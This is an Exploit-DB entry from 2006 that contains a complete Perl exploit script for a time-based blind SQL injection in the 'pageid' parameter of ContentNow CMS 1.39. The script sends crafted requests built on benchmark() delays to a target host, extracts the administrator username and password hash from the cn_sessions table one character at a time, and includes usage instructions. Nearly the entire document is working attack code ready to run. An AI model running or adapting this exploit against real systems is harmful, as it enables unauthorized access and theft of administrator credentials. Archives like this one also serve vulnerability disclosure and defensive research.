Exploit-DB #2822
Description: ContentNow 1.39 - 'pageid' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-21
Author: Revenge

Exploit:
#!/usr/bin/perl -w

use IO::Socket;
use strict;

#   ContentNow "pageid" Sql Injection
# Version  : 1.39
#     Url  : http://www.contentnow.mf4k.de
# Author   : Alfredo 'revenge' Pesoli
# Advisory : http://www.0xcafebabe.it/advisory/contentnow_139_sqlinjection.txt 
#
# Description:
#
# The "pageid" parameter isn't properly sanitised before being returned in sql query
# and can be used to inject craft SQL queries, we can use Blind SQL Injection attack
# to disclose admin credential.
#
# Works regardless of magic quotes
# 
# http://www.0xcafebabe.it
# <revenge@0xcafebabe.it>

if (@ARGV < 2) { &usage; }

my $delay	= "1500000";
my $host        = $ARGV[0];
my $dir         = $ARGV[1];
if ($ARGV[2] ) { $delay = $ARGV[2]; }

print "\nTarget url : ".$host.$dir."\n\n";
$host =~ s/(http:\/\/)//;

my @array = ("user","password");

print "--== Trying to perform sql injection ==--\n\n";
sleep(1);

&sploit();

sub sploit() {
	my $x 		= "";
	my $i		= "";
	my $string	= "";
	my $res		= "1";
	
	for ( $x=0; $x<=$#array; $x++ ) {
		my $j = 1;
		$res  = 1;
		while ($res) {
			for ($i=32;$i<=127;$i++) {
				$res = 0;
				
				if ( $x eq 1 ) {
					next if ( $i < 48 );
					next if ( ( $i > 57 ) and ( $i < 97 ) );
					next if ( $i > 102 );
				}

				my $val  = "index.php?";

				$val .= "pageid=(select(if((ascii(substring($array[$x],$j,1))=$i),benchmark(".$delay.",sha1(13)),0))/**/from/**/cn_sessions/**/where/**/id=1/**/limit/**/1)";
				my $data=$dir.$val;
				my $start = time();
	
				my $req = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "Error - connection failed\n\n";
				print $req "GET $data HTTP/1.1\r\n";
				print $req "Host: $host\r\n";
				print $req "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 (GNU Linux)\r\n";
				print $req "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
				print $req "Accept-Language: en-us;q=0.7,en;q=0.3\r\n";
				print $req "Accept-Encoding: gzip,deflate\r\n";
				print $req "Keep-Alive: 300\r\n";
				print $req "Connection: Keep-Alive\r\n";
				print $req "Cache-Control: no-cache\r\n";
				print $req "Connection: close\r\n\r\n";
				
				while (my $result = <$req>) {
					if ( $result =~ /404 Not Found/ ) {
						printf "\n\nFile not found.\n\n";
						print "\n\n$result\n\n";
						exit;
					}
					if ( $result =~ /400 Bad Request/ ) {
						printf "\n\nBad request.\n\n";
						print "\n\n$result\n\n";
						exit;
					}
				}
				my $end = time();
				my $dft = $end - $start;
				
				if ( $dft > 4 ) {
					$string .= chr($i);
					print "\n\tFound : ".chr($i)."\n\n";
					$res = 1;
					last;
				}
				print "\tTrying : ".chr($i)."\n";
			}
			$j++;
			if ( !$res ) {
				$array[$x] = $string;
				$string = "";
			}
		}
	}
	print "\n----------------------\n";
	print "Admin username : $array[0]\n";
	print "Admin [CREDENTIAL_REDACTED][1]\n\n";
}

sub usage() {
    print "\n ContentNow CMS 1.39 'pageid' SQL Injection Exploit (Admin credentials disclosure)\n";
    print " <revenge\@0xcafebabe.it>\n";
    print " http://www.0xcafebabe.it\n\n";
    print "Usage: $0 <target> <directory> [benchmark_delay]\n";
    print "Example: $0 127.0.0.1 /contentnow/ 2000000\n\n";
    exit();
}

# milw0rm.com [2006-11-21]